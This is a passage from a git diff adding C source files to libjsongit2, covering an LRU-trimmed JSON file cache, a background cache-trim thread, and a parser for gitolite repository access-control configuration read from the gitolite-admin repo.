+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "private.h"
+
+#include <string.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <dirent.h>
+#include <time.h>
+#include <errno.h>
+
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+
+#define lp_to_fe(p, _n) list_ptr_container(p, struct file_entry, _n)
+
+static const char *hex = "0123456789abcdef";
+
+#define BATCH_COUNT 128
+
+static int
+fe_modified_sort(list_ptr a, list_ptr b)
+{
+	struct file_entry *p1 = lp_to_fe(a, sorted), *p2 = lp_to_fe(b, sorted);
+
+	return p2->modified - p1->modified;
+}
+
+/* requires vhost lock: sets ctx->fd_cache and ctx->cache */
+
+int
+__jg2_cache_query(struct jg2_ctx *ctx, const char *md5_hex, int *_fd,
+		  char *cache, int cache_len)
+{
+	struct stat s;
+	int n;
+
+	/* caching is disabled? */
+	if (!ctx->vhost->cfg.json_cache_base)
+		return JG2_CACHE_QUERY_NO_CACHE;
+
+	if (!(ctx->flags & JG2_CTX_FLAG_BOT))
+		ctx->vhost->cache_tries++;
+
+	n = lws_snprintf(cache, cache_len, "%s/%c/%c/%s",
+			 ctx->vhost->cfg.json_cache_base,
+			 md5_hex[0], md5_hex[1], md5_hex);
+
+	//lwsl_notice("%s: job cache %s\n", __func__, ctx->cache);
+
+	*_fd = open(cache, O_RDONLY);
+	if (*_fd >= 0) {
+		int fd;
+
+		if (!(ctx->flags & JG2_CTX_FLAG_BOT))
+			ctx->vhost->cache_hits++;
+
+		if (fstat(*_fd, &s)) {
+			close(*_fd);
+
+			return JG2_CACHE_QUERY_NO_CACHE;
+		}
+
+		ctx->existing_cache_pos = 0;
+		ctx->existing_cache_size = (size_t)s.st_size;
+
+		/* "touch" the hit cache file so it's last for LRU now */
+		fd = open(cache, O_RDWR);
+		if (fd >= 0)
+			close(fd);
+
+
+		return JG2_CACHE_QUERY_EXISTS;
+	}
+
+	/* bots are too random to pollute the cache with their antics */
+	if (ctx->flags & JG2_CTX_FLAG_BOT)
+		return JG2_CACHE_QUERY_NO_CACHE;
+
+	/* let's create it first with a unique temp name */
+
+	lws_snprintf(cache + n, cache_len - n, "~%d-%p", (int)getpid(), ctx);
+
+	*_fd = open(cache, O_RDWR | O_CREAT | O_TRUNC, 0600);
+	if (*_fd < 0) {
+		/* well... ok... we will proceed without cache then... */
+		lwsl_notice("%s: Problem creating cache %s: errno %d\n",
+			    __func__, cache, errno);
+		return JG2_CACHE_QUERY_NO_CACHE;
+	}
+
+	return JG2_CACHE_QUERY_CREATING;
+}
+
+/*
+ * The goal is to collect the oldest BATCH_COUNT filepaths and filesizes from
+ * the dirs under the cache dir.  Since we don't need or want a full list of
+ * files in there in memory at once, we restrict the linked-list size to
+ * BATCH_COUNT entries, and once it is full, simply ignore any further files
+ * that are newer than the newest one on that list.  Files older than the
+ * newest guy already on the list evict the newest guy already on the list
+ * and are sorted into the correct order.  In this way no matter the number
+ * of files to be processed the memory requirement is fixed at BATCH_COUNT
+ * struct file_entry-s.
+ *
+ * The oldest subset of BATCH_COUNT files are sorted into the cd->batch
+ * allocation in more recent -> least recent order.
+ *
+ * We want to track the total size of all files we saw as well, so we know if
+ * we need to actually do anything yet to restrict how much space it's taking
+ * up.
+ *
+ * And we want to do those things statefully and incrementally instead of one
+ * big atomic operation, since the user may want a huge cache, so we look in
+ * one cache dir at a time and track state in the repodir struct.
+ *
+ * When we have seen everything, we add the doubly-linked prev pointers and then
+ * if we are over the limit, start deleting up to BATCH_COUNT files working back
+ * from the end.
+ */
+
+int
+jg2_cache_trim(struct jg2_repodir *cd)
+{
+	size_t cache_size_limit = cd->cache_size_limit;
+	char dirpath[132], filepath[132 + 32];
+	list_ptr lp, op = NULL;
+	int files_trimmed = 0;
+	struct file_entry *p;
+	int fd, n, ret = -1;
+	size_t trimmed = 0;
+	struct dirent *de;
+	struct stat s;
+	DIR *dir;
+
+	if (!cd->cache_subdir) {
+
+		if (cd->last_scan_completed + cd->secs_waiting > time(NULL))
+			return 0;
+
+		cd->batch = malloc(sizeof(struct file_entry) * BATCH_COUNT);
+		if (!cd->batch) {
+			lwsl_err("%s: OOM\n", __func__);
+
+			return 1;
+		}
+		cd->agg_size = 0;
+		cd->head = NULL;
+		cd->batch_in_use = 0;
+		cd->agg_file_count = 0;
+	}
+
+	lws_snprintf(dirpath, sizeof(dirpath), "%s/%c/%c",
+		     cd->repo_base_dir, hex[(cd->cache_subdir >> 4) & 15],
+		     hex[cd->cache_subdir & 15]);
+
+	dir = opendir(dirpath);
+	if (!dir) {
+		lwsl_err("Unable to walk repo dir '%s'\n",
+			 cd->repo_base_dir);
+		return -1;
+	}
+
+	do {
+		de = readdir(dir);
+		if (!de)
+			break;
+
+		if (de->d_type != DT_REG)
+			continue;
+
+		cd->agg_file_count++;
+
+		lws_snprintf(filepath, sizeof(filepath), "%s/%s", dirpath,
+			     de->d_name);
+
+		fd = open(filepath, O_RDONLY);
+		if (fd < 0) {
+			lwsl_err("%s: cannot open %s\n", __func__, filepath);
+
+			continue;
+		}
+
+		n = fstat(fd, &s);
+		close(fd);
+		if (n) {
+			lwsl_notice("%s: cannot stat %s\n", __func__, filepath);
+			continue;
+		}
+
+		cd->agg_size += s.st_size;
+
+		if (cd->batch_in_use == BATCH_COUNT) {
+			/*
+			 * once we filled up the batch with candidates, we don't
+			 * need to consider any files newer than the newest guy
+			 * on the list...
+			 */
+			if (lp_to_fe(cd->head, sorted)->modified < s.st_mtime)
+				continue;
+
+			/*
+			 * ... and if we find an older file later, we know it
+			 * will be replacing the newest guy on the list, so use
+			 * that directly...
+			 */
+			p = cd->head;
+			cd->head = p->sorted;
+		} else
+			/* we are still accepting anything to fill the batch */
+
+			p = &cd->batch[cd->batch_in_use++];
+
+		p->sorted = NULL;
+		strncpy(p->name, de->d_name, sizeof(p->name) - 1);
+		p->name[sizeof(p->name) - 1] = '\0';
+		p->modified = s.st_mtime;
+		p->size = s.st_size;
+
+		list_ptr_insert(&cd->head, &p->sorted, fe_modified_sort);
+	} while (de);
+
+	ret = 0;
+
+	cd->cache_subdir++;
+	if (cd->cache_subdir != 0x100)
+		goto done;
+
+	/* we completed the whole scan... */
+
+	/* if really no guidence, then 256MiB */
+	if (!cache_size_limit)
+		cache_size_limit = 256 * 1024 * 1024;
+
+	if (cd->agg_size > cache_size_limit) {
+
+		/* apply prev pointers to make the list doubly-linked */
+
+		lp = cd->head;
+		while (lp) {
+			p = lp_to_fe(lp, sorted);
+
+			p->prev = op;
+			op = &p->prev;
+			lp = p->sorted;
+		}
+
+		/*
+		 * reverse the list (start from tail, now traverse using
+		 * .prev)... it's oldest-first now...
+		 */
+
+		lp = op;
+
+		while (lp && cd->agg_size > cache_size_limit) {
+			p = lp_to_fe(lp, prev);
+
+			lws_snprintf(filepath, sizeof(filepath), "%s/%c/%c/%s",
+				     cd->repo_base_dir, p->name[0], p->name[1],
+				     p->name);
+
+			if (!unlink(filepath)) {
+				cd->agg_size -= p->size;
+				trimmed += p->size;
+				files_trimmed++;
+			} else
+				lwsl_notice("%s: Failed to unlink %s\n",
+					    __func__, filepath);
+
+			lp = p->prev;
+		}
+
+		if (files_trimmed)
+			lwsl_notice("%s: %s: trimmed %d files totalling "
+				    "%lldKib, leaving %lldMiB\n", __func__,
+				    cd->repo_base_dir, files_trimmed,
+				    ((unsigned long long)trimmed) / KIB,
+				    ((unsigned long long)cd->agg_size) / MIB);
+	}
+
+	if (cd->agg_size && cd->agg_file_count)
+		cd->avg_size = cd->agg_size / cd->agg_file_count;
+
+	/*
+	 * estimate how long we can go before scanning again... default we need
+	 * to start again immediately
+	 */
+
+	cd->last_scan_completed = time(NULL);
+	cd->secs_waiting = 1;
+
+	if (cd->agg_size < cache_size_limit) {
+		uint64_t avg = 4096, capacity, projected;
+
+		/* let's use 80% of the real average for margin */
+		if (cd->agg_size && cd->agg_file_count)
+			avg = ((cd->agg_size * 8) / cd->agg_file_count) / 10;
+
+		/*
+		 * if we collected BATCH_COUNT files of the average size,
+		 * how much can we clean up in 256s?
+		 */
+
+		capacity = avg * BATCH_COUNT;
+
+		/*
+		 * if the cache grew by 10%, would we hit the limit even then?
+		 */
+		projected = (cd->agg_size * 11) / 10;
+		if (projected < cache_size_limit)
+			/* no... */
+			cd->secs_waiting  = (256 / 2) * ((cache_size_limit -
+						    projected) / capacity);
+
+		/*
+		 * large waits imply we may not have enough info yet, so
+		 * check once an hour at least.
+		 */
+
+		if (cd->secs_waiting > 3600)
+			cd->secs_waiting = 3600;
+	} else
+		cd->secs_waiting = 0;
+
+	lwsl_notice("%s: cache %s: %lldKiB / %lldKiB, next scan %ds\n",
+		    __func__, cd->repo_base_dir,
+		    (unsigned long long)cd->agg_size / KIB,
+		    (unsigned long long)cache_size_limit / KIB,
+		    cd->secs_waiting);
+
+	free(cd->batch);
+	cd->batch = NULL;
+
+	cd->cache_subdir = 0;
+
+done:
+	closedir(dir);
+
+	return ret;
+}
+
+/*
+ * Check every base cache dir incrementally so it completes over 256s, one dir
+ * for each base cache dir per second.
+ *
+ * The first time we see a cache dir though, do it all at once immediately.
+ */
+
+void *
+cache_trim_thread(void *d)
+{
+	struct jg2_global *jg2_global = (struct jg2_global *)d;
+	struct jg2_vhost *vh;
+
+	sleep(2); /* wait for other vhosts that might set size limit */
+
+	jg2_safe_libgit2_init();
+
+	while (jg2_global->count_cachedirs) {
+		struct jg2_repodir *rd = jg2_global->cachedir_head;
+
+		while (rd) {
+			int n, around = 1;
+
+			if (!rd->subsequent)
+				around = 256;
+			else
+				/* are we over the limit?  Let's speed up */
+				if (!rd->secs_waiting && rd->batch)
+					around = 8;
+
+			for (n = 0; n < around; n++)
+				jg2_cache_trim(rd);
+
+			rd->subsequent = 1;
+
+			rd = rd->next;
+		}
+
+		sleep(1);
+
+		pthread_mutex_lock(&jg2_global->lock); /* ======= global lock */
+
+		vh = jg2_global->vhost_head;
+		while (vh) {
+			jg2_vhost_repo_reflist_update(vh);
+			vh = vh->vhost_list;
+		}
+
+		pthread_mutex_unlock(&jg2_global->lock); /* --- global unlock */
+	}
+
+	jg2_safe_libgit2_deinit();
+
+	pthread_exit(NULL);
+
+	return NULL;
+}
diff --git a/lib/conf/gitolite.c b/lib/conf/gitolite.c
new file mode 100644
index 0000000..049e8c8
--- /dev/null
+++ b/lib/conf/gitolite.c
@@ -0,0 +1,737 @@
+/*
+ * libjsongit2 - gitolite config parsing
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+#include <string.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+
+#define lp_to_acl(p, _n) list_ptr_container(p, struct acl, _n)
+
+typedef enum {
+	GCS_IDLE,
+
+	GCS_MACRODEF_NAME,	/* @ got us here */
+	GCS_MACRODEF_WS,	/* ws before = */
+	GCS_MACRODEF_WS1,	/* ws after = */
+	GCS_MACRODEF_VALUE,	/* macro definition value */
+
+	GCS_REPO,		/* r ... started collecting "repo" */
+	GCS_REPO_WS1,		/* ws before = */
+	GCS_REPO_REPODEF,	/* matching repo definition */
+
+	GCS_ACL_WS_PRE,		/* ws before repo acl */
+	GCS_ACL_FLAGS,		/* access flags, - or R/W/+ */
+	GCS_ACL_WS1,		/* ws before = or optional refspec */
+	GCS_ACL_REFSPEC,	/* refspec */
+	GCS_ACL_WS2,		/* ws after refspec */
+	GCS_ACL_WS3,		/* ws after = */
+	GCS_ACL_USERS,		/* user list */
+	GCS_ACL_IGNORE,		/* ignore rest of acl line (not READ) */
+
+	GCS_INCLUDE,		/* i ... started collecting "include" */
+	GCS_INCLUDE_WS1,
+	GCS_INCLUDE_PATH,
+
+	GCS_CONFIG,		/* c... started collecting "config" */
+
+	GCS_CONFIG_IGNORE,
+
+} gitolite_conf_state;
+
+struct gitolite_conf {
+	gitolite_conf_state state;
+	char macro_value[1024];
+	char macro_name[32];
+
+	git_repository *repo;
+	git_generic_ptr u;
+	git_tree *tree;
+	const char *p, *end;
+
+	size_t pos, name_len;
+	int line;
+	char seen_read;
+	char comment;
+	char last;
+};
+
+static int
+__parser_init(struct gitolite_conf *gp, struct jg2_vhost *vh,
+		  git_repository *repo, git_tree *tree, jg2_md5_context md5_ctx,
+		  const char *in_repo_filepath);
+
+/*
+ * This supports the following gitolite config syntax elements:
+ *
+ *  -         @macros : yes
+ *
+ *  -    repo @macros : yes
+ *
+ *  -             RW+ : yes
+ *
+ *  -         include : yes
+ *
+ *  -          config : ignored: we don't need to parse them, since the
+ *			corresponding changes made by gitolite are picked up
+ *			from the repo config and used... for
+ *			gitweb.[description|owner|url]
+ *
+ *  -           refex : ignored (only supports repo-level ACLs)
+ *
+ *  -      repo regex : matched as literal (ie, ignored)
+ *
+ *  - Negative ACL (-): no
+ *
+ *  -         subconf : no
+ *
+ *  Patches adding support if you need the missing things are very welcome...
+ */
+
+/*
+ * does the string 'check' match anything in the macro 'macro'?
+ * @all will match everything always
+ *
+ * Requires vhost lock
+ */
+static int
+__recursive_macro_check(const char *check, const char *macro, int string,
+		      struct jg2_vhost *vh)
+{
+	int cl = strlen(check);
+	list_ptr lp;
+	char macro_name[32];
+	const char *p;
+
+	if (string) {
+		p = macro;
+		goto direct;
+	}
+
+	lp = vh->acl_macro_head;
+	while (lp) {
+		struct acl *acl = lp_to_acl(lp, next);
+
+		p = (const char *)(acl + 1);
+
+		if (strcmp(p, macro))
+			goto again;
+
+		/* this is the right macro */
+
+		p = p + acl->len1 + 1;
+
+direct:
+		while (*p) {
+			if (!strncmp(p, check, cl) &&
+			    (p[cl] == ' ' || !p[cl]))
+				return 0; /* hit */
+
+			if (*p == '@') {
+				size_t n = 0;
+				p++;
+				while (*p != ' ' && !*p) {
+					if (n >= sizeof(macro_name) - 2)
+						return 1;
+					macro_name[n++] = *p++;
+				}
+				macro_name[n] = '\0';
+
+				if (!strcmp(macro_name, "all"))
+					return 0;
+
+				if (!__recursive_macro_check(check, macro, 0,
+							     vh))
+					return 0;
+			}
+
+			p++;
+		}
+
+		return 1;
+
+again:
+		list_ptr_advance(lp);
+	}
+
+	return 1;
+}
+
+/*
+ * can "user" 'acl_name' read repo 'reponame'?
+ *
+ * requires the vhost lock
+ */
+
+int
+__repo_check_acl(struct jg2_vhost *vh, const char *reponame, const char *acl_name)
+{
+	list_ptr lp;
+	int ret = 1;
+
+	if (!acl_name)
+		return 1; /* NULL can't match */
+
+	if (!strcmp(acl_name, "@all"))
+		return 0; /* just match everything */
+
+	/*
+	 * let's go through all the rules
+	 */
+
+	lp = vh->acl_rule_head;
+	while (lp) {
+		struct acl *acl = lp_to_acl(lp, next);
+		const char *p = (const char *)(acl + 1);
+
+		/* reponame isn't in the items on p (including by macros?) */
+		if (!__recursive_macro_check(reponame, p, 1, vh)) {
+
+			/* we got an acl rule matched on our repo name */
+
+			p += acl->len1 + 1;
+
+			/* acl_name is in the items on the acl rule? */
+			if (!__recursive_macro_check(acl_name, p, 1, vh)) {
+				ret = 0;
+
+				break;
+			}
+		}
+
+		list_ptr_advance(lp);
+	}
+
+	return ret;
+}
+
+/*
+ * we convert the gitolite conf into two lists of struct acls
+ *
+ *  - vh->acl_macro_head: each is macroname, macrovalue
+ *  - vh->acl_rule_head:  each is  reponame matching rule, acl list
+ *
+ * Requires vhost lock
+ */
+
+static int
+__parse(struct gitolite_conf *gp, struct jg2_vhost *vh, jg2_md5_context md5_ctx)
+{
+	struct acl *acl;
+	char *p;
+
+	while (gp->p < gp->end) {
+
+		// putchar(*gp->p);
+
+		if (!gp->comment && *gp->p == '#')
+			gp->comment = 1;
+
+		if (gp->comment && *gp->p == '\n')
+			gp->comment = 0;
+
+		if (gp->comment)
+			goto after;
+
+		switch (gp->state) {
+		case GCS_IDLE:
+			gp->pos = 0;
+			if (*gp->p == '@')
+				gp->state = GCS_MACRODEF_NAME;
+			if (*gp->p == 'r')
+				gp->state = GCS_REPO;
+			if (*gp->p == 'i')
+				gp->state = GCS_INCLUDE;
+
+			if (*gp->p == 'c') {
+				gp->pos = 0;
+				gp->state = GCS_CONFIG;
+				break;
+			}
+
+			break;
+
+		case GCS_MACRODEF_NAME:
+			if (*gp->p == '=') {
+				gp->state = GCS_MACRODEF_WS1;
+				break;
+			}
+			if (*gp->p == ' ' || *gp->p == '\t') {
+				gp->state = GCS_MACRODEF_WS;
+				break;
+			}
+
+			if (gp->pos >= sizeof(gp->macro_name) - 1) {
+				lwsl_err("%s: macro name too long: %s\n",
+					 __func__, gp->macro_name);
+				return -1;
+			}
+			gp->macro_name[gp->pos++] = *gp->p;
+			gp->macro_name[gp->pos] = '\0';
+			gp->name_len = gp->pos;
+			break;
+
+		case GCS_MACRODEF_WS:
+			if (*gp->p == ' ' || *gp->p == '\t')
+				break;
+			if (*gp->p == '=') {
+				gp->state = GCS_MACRODEF_WS1;
+				break;
+			}
+			goto syntax_error;
+
+		case GCS_MACRODEF_WS1:
+			gp->pos = 0;
+			if (*gp->p == ' ' || *gp->p == '\t')
+				break;
+			gp->state = GCS_MACRODEF_VALUE;
+			/* fallthru */
+
+		case GCS_MACRODEF_VALUE:
+			if (*gp->p == '\n') {
+				//lwsl_err("macro: '%s' '%s'\n", gp->macro_name,
+				//		gp->macro_value);
+				/* allocate the whole area at once */
+				acl = lac_use(&vh->acl_lac_head,
+						  sizeof(*acl) +
+						  gp->name_len + 1 +
+						  gp->pos + 1, 0);
+
+				acl->len1 = gp->name_len;
+				acl->len2 = gp->pos;
+
+				p = (char *)(acl + 1);
+				memcpy(p, gp->macro_name, acl->len1 + 1);
+				memcpy(p + acl->len1 + 1, gp->macro_value,
+				       acl->len2 + 1);
+
+				list_ptr_insert(&vh->acl_macro_head,
+						&acl->next, NULL);
+
+				gp->state = GCS_IDLE;
+				break;
+			}
+
+			if (gp->pos == sizeof(gp->macro_value) - 1) {
+				lwsl_err("%s: macro value too long: %s\n",
+					 __func__, gp->macro_name);
+				return -1;
+			}
+			gp->macro_value[gp->pos++] = *gp->p;
+			gp->macro_value[gp->pos] = '\0';
+			break;
+
+		case GCS_REPO:
+			gp->pos++;
+			if (gp->pos == 1 && *gp->p == 'e')
+				break;
+			if (gp->pos == 2 && *gp->p == 'p')
+				break;
+			if (gp->pos == 3 && *gp->p == 'o') {
+				gp->state = GCS_REPO_WS1;
+				break;
+			}
+			goto syntax_error;
+
+		case GCS_REPO_WS1:
+			gp->pos = 0;
+			if (*gp->p == ' ' || *gp->p == '\t')
+				break;
+			gp->state = GCS_REPO_REPODEF;
+			/* fallthru */
+
+		case GCS_REPO_REPODEF:
+			if (*gp->p == '\n') {
+				gp->pos = 0;
+				gp->state = GCS_ACL_WS_PRE;
+				break;
+			}
+			gp->macro_name[gp->pos++] = *gp->p;
+			gp->macro_name[gp->pos] = '\0';
+			gp->name_len = gp->pos;
+			break;
+
+		case GCS_ACL_WS_PRE:
+			gp->seen_read = 0;
+			if (*gp->p == ' ' || *gp->p == '\t')
+				break;
+			if (*gp->p == '\n') {
+				gp->state = GCS_IDLE;
+				break;
+			}
+			gp->state = GCS_ACL_FLAGS;
+			/* fallthru */
+
+		case GCS_ACL_FLAGS:
+			if (*gp->p == 'R') {
+				gp->seen_read = 1;
+				break;
+			}
+			if (*gp->p == 'W')
+				break;
+			if (*gp->p == '+')
+				break;
+			if (*gp->p == '-')
+				break;
+			if (*gp->p == '=') {
+				if (gp->seen_read)
+					gp->state = GCS_ACL_WS3;
+				else
+					gp->state = GCS_ACL_IGNORE;
+				break;
+			}
+			if (*gp->p == 'c') {
+				gp->pos = 0;
+				gp->state = GCS_CONFIG;
+				break;
+			}
+			if (*gp->p == 'r') {
+				gp->pos = 0;
+				gp->state = GCS_REPO;
+				break;
+			}
+			if (*gp->p != ' ' && *gp->p != '\t')
+				goto syntax_error;
+
+			gp->state = GCS_ACL_WS1;
+			/* fallthru */
+
+		case GCS_ACL_WS1:
+			gp->pos = 0;
+			if (*gp->p == ' ' || *gp->p == '\t')
+				break;
+			if (*gp->p == '=') {
+				gp->state = GCS_ACL_WS3;
+				break;
+			}
+
+			gp->state = GCS_ACL_REFSPEC;
+			break;
+
+		case GCS_ACL_REFSPEC:
+			if (*gp->p != ' ' && *gp->p != '\t')
+				break;
+			gp->state = GCS_ACL_WS2;
+			/* fallthru */
+
+		case GCS_ACL_WS2:
+			if (*gp->p == ' ' || *gp->p == '\t')
+				break;
+			if (*gp->p != '=')
+				goto syntax_error;
+
+			gp->state = GCS_ACL_WS2;
+			/* fallthru */
+
+		case GCS_ACL_WS3:
+			if (*gp->p == ' ' || *gp->p == '\t')
+				break;
+			gp->state = GCS_ACL_USERS;
+			/* fallthru */
+
+		case GCS_ACL_USERS:
+			if (*gp->p == '\n') {
+				//lwsl_err("repos: '%s', acl: '%s'\n",
+				//	 gp->macro_name, gp->macro_value);
+
+				/* allocate the whole area at once */
+				acl = lac_use(&vh->acl_lac_head,
+					      sizeof(*acl) + gp->name_len + 1 +
+					      gp->pos + 1, 0);
+
+				acl->len1 = gp->name_len;
+				acl->len2 = gp->pos;
+
+				p = (char *)(acl + 1);
+				memcpy(p, gp->macro_name, acl->len1 + 1);
+				memcpy(p + acl->len1 + 1, gp->macro_value,
+				       acl->len2 + 1);
+
+				list_ptr_insert(&vh->acl_rule_head,
+						&acl->next, NULL);
+
+				gp->state = GCS_ACL_WS_PRE;
+				break;
+			}
+
+			if (gp->pos == sizeof(gp->macro_value) - 1) {
+				lwsl_err("%s: macro value too long: %s\n",
+					 __func__, gp->macro_name);
+				return -1;
+			}
+			gp->macro_value[gp->pos++] = *gp->p;
+			gp->macro_value[gp->pos] = '\0';
+			break;
+
+		case GCS_ACL_IGNORE:
+			if (*gp->p != '\n')
+				break;
+			gp->pos = 0;
+			gp->state = GCS_ACL_WS_PRE;
+			break;
+
+		case GCS_INCLUDE:
+			gp->pos++;
+			if (gp->pos == 1 && *gp->p == 'n')
+				break;
+			if (gp->pos == 2 && *gp->p == 'c')
+				break;
+			if (gp->pos == 3 && *gp->p == 'l')
+				break;
+			if (gp->pos == 4 && *gp->p == 'u')
+				break;
+			if (gp->pos == 5 && *gp->p == 'd')
+				break;
+			if (gp->pos == 6 && *gp->p == 'e') {
+				gp->state = GCS_INCLUDE_WS1;
+
+				if (gp->last) {
+					lwsl_err("too many include levels\n");
+					goto syntax_error;
+				}
+				break;
+			}
+			goto syntax_error;
+
+		case GCS_INCLUDE_WS1:
+			gp->pos = 0;
+			if (*gp->p == ' ' || *gp->p == '\t')
+				break;
+			if (*gp->p != '\"')
+				goto syntax_error;
+
+			gp->state = GCS_INCLUDE_PATH;
+			break;
+
+		case GCS_INCLUDE_PATH:
+			if (*gp->p == '\"') {
+				gp->state = GCS_IDLE;
+				gp->macro_value[gp->pos] = '\0';
+
+				if (__parser_init(gp + 1, vh, gp->repo,
+						      gp->tree, md5_ctx,
+						      gp->macro_value))
+					return 1;
+
+				break;
+			}
+
+			if (gp->pos > sizeof(gp->macro_value) - 2)
+				goto syntax_error;
+
+			gp->macro_value[gp->pos++] = *gp->p;
+			break;
+
+		case GCS_CONFIG:
+			gp->pos++;
+			if (gp->pos == 1 && *gp->p == 'o')
+				break;
+			if (gp->pos == 2 && *gp->p == 'n')
+				break;
+			if (gp->pos == 3 && *gp->p == 'f')
+				break;
+			if (gp->pos == 4 && *gp->p == 'i')
+				break;
+			if (gp->pos == 5 && *gp->p == 'g') {
+				gp->state = GCS_CONFIG_IGNORE;
+
+				if (gp->last) {
+					lwsl_err("too many include levels\n");
+					goto syntax_error;
+				}
+				break;
+			}
+			goto syntax_error;
+			break;
+
+		case GCS_CONFIG_IGNORE:
+			if (*gp->p != '\n')
+				break;
+			gp->state = GCS_ACL_WS_PRE;
+			gp->pos = 0;
+			gp->seen_read = 0;
+			break;
+		}
+after:
+
+		if (*gp->p == '\n')
+			gp->line++;
+
+		gp->p++;
+	}
+
+	return 0;
+
+syntax_error:
+	lwsl_err("%s: %d: syntax error '%c' state %d\n", __func__, gp->line,
+		 *gp->p, gp->state);
+
+	return 1;
+}
+
+/* requires vhost lock */
+
+static int
+__parser_init(struct gitolite_conf *gp, struct jg2_vhost *vh,
+		  git_repository *repo, git_tree *tree, jg2_md5_context md5_ctx,
+		  const char *in_repo_filepath)
+{
+	git_tree_entry *te;
+	int m, ret;
+
+	gp->tree = tree;
+	gp->repo = repo;
+
+	m = git_tree_entry_bypath(&te, tree, in_repo_filepath);
+	if (m) {
+		lwsl_err("get_tree_entry_bypath failed\n");
+
+		return 1;
+	}
+
+	m = git_tree_entry_to_object(&gp->u.obj, repo, te);
+	git_tree_entry_free(te);
+	if (m) {
+		lwsl_err("tree_entry_to_object failed\n");
+
+		return 1;
+	}
+
+	if (git_object_type(gp->u.obj) != GIT_OBJ_BLOB) {
+		lwsl_err("object is not a blob (%d)\n",
+			 git_object_type(gp->u.obj));
+		git_object_free(gp->u.obj);
+
+		return 1;
+	}
+
+	gp->state = GCS_IDLE;
+	gp->p = git_blob_rawcontent(gp->u.blob);
+	gp->end = gp->p + git_blob_rawsize(gp->u.blob);
+	gp->line = 1;
+	gp->comment = 0;
+	gp->name_len = 0;
+	gp->pos = 0;
+
+	ret = __parse(gp, vh, md5_ctx);
+
+	git_object_free(gp->u.obj);
+
+	return ret;
+}
+
+/*
+ * gitolite ACL config parser
+ *
+ * #comment for rest of line
+ *
+ * @macro=string1 string2  defines macro to be string1 string2
+ *
+ * @macro anywhere is replaced by string1 string2
+ *
+ * repo <repo list>
+ *  [RW+] [optional reflist] = [name list]
+ *  [- reflist] = [name list]
+ *
+ * For now, anything with a reflist we ignore.
+ *
+ * Because later rules can countermand earlier rules, and macros may be
+ * forward-referenced, we defer dereferencing the macros until we try to
+ * walk the repo ACLs.
+ *
+ * Just to make things exciting, the config only exists in the
+ * gitolite-admin bare git repo, not as files on disk.
+ *
+ * The set of repos is defined by the available subdirs.
+ *
+ * The repo token only restricts the whole set somehow.
+ */
+
+int
+jg2_conf_scan_gitolite(struct jg2_vhost *vh)
+{
+	struct gitolite_conf stack[3];
+	git_repository *repo;
+	char filepath[256];
+	git_generic_ptr u;
+	int m, ret = 1;
+	git_commit *c;
+	git_oid oid;
+
+	stack[0].last = stack[1].last = 0;
+	stack[2].last = 1;
+
+	/* it's OK if the gitolite-admin repo doesn't exist, we just return */
+
+	lws_snprintf(filepath, sizeof(filepath), "%s/gitolite-admin.git",
+		     vh->cfg.repo_base_dir);
+
+	m = git_repository_open_ext(&repo, filepath, 0, NULL);
+	if (m < 0)
+		goto bail;
+
+	m = git_reference_name_to_id(&oid, repo, "refs/heads/master");
+	if (m < 0) {
+		lwsl_err("%s: unable to find master ref: %d\n", __func__, m);
+		goto bail1;
+	}
+
+	m = git_object_lookup(&u.obj, repo, &oid, GIT_OBJ_ANY);
+	if (m < 0) {
+		lwsl_err("object lookup failed\n");
+		goto bail1;
+	}
+
+	if (git_object_type(u.obj) != GIT_OBJ_COMMIT) {
+		lwsl_err("object not a commit\n");
+
+		goto bail1;
+	}
+
+	/* convert the commit object to a tree object */
+
+	c = u.commit;
+	m = git_commit_tree(&u.tree, u.commit);
+	git_commit_free(c);
+	if (m) {
+		lwsl_err("git_commit_tree failed\n");
+
+		goto bail1;
+	}
+
+	pthread_mutex_lock(&vh->lock); /* ======================== vhost lock */
+
+	ret = __parser_init(&stack[0], vh, repo, u.tree, NULL,
+			  "conf/gitolite.conf");
+
+	oid_to_hex_cstr(vh->repodir->hexoid_gitolite_conf, &oid);
+
+	pthread_mutex_unlock(&vh->lock); /*--------------------- vhost unlock */
+
+	git_tree_free(u.tree);
+
+bail1:
+	git_repository_free(repo);
+bail:
+	return ret;
+}
diff --git a/lib/conf/private.h b/lib/conf/private.h
new file mode 100644
index 0000000..9469aa0
--- /dev/null
+++ b/lib/conf/private.h
@@ -0,0 +1,14 @@
+struct repo_entry_info;
+
+int
+jg2_conf_scan_gitolite(struct jg2_vhost *vh);
+
+int
+jg2_get_repo_config(git_repository *gr, struct repo_entry_info *rei, char *p);
+
+int
+jg2_conf_scan_repos(struct jg2_vhost *vh);
+
+int
+__repo_check_acl(struct jg2_vhost *vh, const char *reponame,
+	       const char *acl_name);
diff --git a/lib/conf/scan-repos.c b/lib/conf/scan-repos.c
new file mode 100644
index 0000000..0ac558b
--- /dev/null
+++ b/lib/conf/scan-repos.c
@@ -0,0 +1,132 @@
+/*
+ * libjsongit2 - scan-repos
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
